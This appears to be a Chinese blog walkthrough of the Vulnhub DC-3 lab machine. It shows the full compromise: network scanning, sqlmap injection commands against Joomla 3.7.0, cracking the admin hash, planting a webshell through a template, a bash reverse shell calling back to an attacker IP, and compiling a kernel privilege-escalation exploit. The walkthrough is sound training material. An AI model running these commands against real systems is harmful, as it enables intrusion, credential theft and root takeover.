Vulnhub[DC3]

简介

下载

  • DC-3-2.zip (Size: 1005 MB)
  • Download: http://www.five86.com/downloads/DC-3-2.zip
  • Download (Mirror): https://download.vulnhub.com/dc/DC-3-2.zip
  • Download (Torrent): https://download.vulnhub.com/dc/DC-3-2.zip.torrent ( Magnet)

流程

信息收集

主机探活

kali中使用arp-scan进行主机探活

arp-scan --interface eth0 192.168.0.0/24 

经过筛选可以知道192.168.0.152 是DC-3的ip

端口扫描

nmap  -sC -sV -p- 192.168.0.152

发现这里只是开了80端口

看下80端口,通过wappalyzer,发现用的是JoomlaCMS,而且用的是PHP

同时主页也给我们提示,表明这个靶机只有一个flag

DC-3

Home

Welcome to DC-3Details

  • Written by admin

Welcome to DC-3.

This time, there is only one flag, one entry point and no clues.

To get the flag, you’ll obviously have to gain root privileges.

How you get to be root is up to you - and, obviously, the system.

Good luck - and I hope you enjoy this little challenge. 😃

You are here: Home

翻译:

DC-3

欢迎来到 DC-3 详情

  • 由管理员撰写

欢迎来到 DC-3。

这一次,只有一个标志,一个入口,没有任何线索。
要获得标志,您显然必须获得 root 权限。
如何成为 root 取决于您 - 显然,取决于系统。
祝你好运 - 我希望你喜欢这个小挑战。 😃

你在这里:首页

这里我们可以用御剑扫目录出后台

http://192.168.127.134/administrator/index.php 查看后台

msf中搜索Joomla

这里我们先使用auxiliary/scanner/http/joomla_version查看版本信息

这里就可以得知这里使用的Joomla版本是3.7.0

渗透

登录后台

然后可以查到这个版本是有sql注入exploit链接 ,直接sqlmap梭哈

sqlmap -u "http://192.168.0.152/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

得到数据库

除了joomladb都是系统自带的库

然后查表

sqlmap -u "http://192.168.0.152/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

这查出76张表

我们还是先关注user表

查列名

sqlmap -u "http://192.168.0.152/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]

然后查username和password

sqlmap -u "http://192.168.0.152/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C "username,password" --dump -p list[fullordering]

这里也可以直接用利用工具直接梭哈

cmd5查不到

没办法,只好用john了

$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
-->snoopy

我们尝试进行登陆,发现是正确的账号密码

账号:admin
密码:snoopy

上传一句话木马

这里可以找到用编辑模板的方式上传webshell

我们这里直接编辑Protostar Details and Files模板

然后直接编辑index.php,写入一句话木马

然后我们访问下这个http://192.168.0.152/,没有出现404说明成功上传

提权

使用蚁剑成功连接

来到终端输入uname -alsb_release -a

搜索利用模块searchsploit ubuntu 16.04 4.4

Linux Kernel 4.4.x (Ubuntu 16.04) - ‘double-fdput()’ bpf(BPF_PROG_LOAD) Privilege Escalation,此模块可提权成功

Exp

unzip 39772.zip
cd /var/www/html/39772/
tar -vxf exploit.tar
cd ebpf_mapfd_doubleput_exploit/
chmod u+x compile.sh
./compile.sh
./doubleput

可以看到在蚁剑的终端并没提权成功

后来我换了nc连接shell,index.php编辑内容为<?php system(“bash -c ‘bash -i >& /dev/tcp/192.168.0.129/4444 0>&1’”) ?>

开启监听,然后刷新网页,成功连上

执行相同的命令,成功提权

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值